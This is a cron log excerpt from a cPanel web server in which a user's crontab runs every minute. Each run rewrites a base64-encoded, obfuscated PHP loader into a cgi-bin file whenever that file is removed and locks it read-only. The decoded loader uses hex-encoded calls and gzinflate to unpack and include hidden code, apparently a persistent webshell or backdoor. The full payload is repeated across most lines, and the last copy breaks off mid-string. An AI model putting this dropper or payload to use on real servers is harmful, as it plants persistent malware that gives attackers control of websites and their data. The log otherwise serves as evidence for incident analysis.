Apr 10 18:20:01 server CROND[20314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:21:01 server CROND[20417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:22:01 server CROND[20466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:23:01 server CROND[20633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:24:01 server CROND[20679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:25:01 server CROND[20738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:25:01 server CROND[20739]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 18:25:01 server CROND[20740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:25:01 server CROND[20741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:26:01 server CROND[20844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:27:01 server CROND[20891]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 18:27:01 server CROND[20892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:28:01 server CROND[20939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:29:01 server CROND[21079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:30:01 server CROND[21148]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:30:01 server CROND[21149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:30:01 server CROND[21150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:30:01 server CROND[21151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:31:01 server CROND[21254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:32:01 server CROND[21306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:33:01 server CROND[21366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp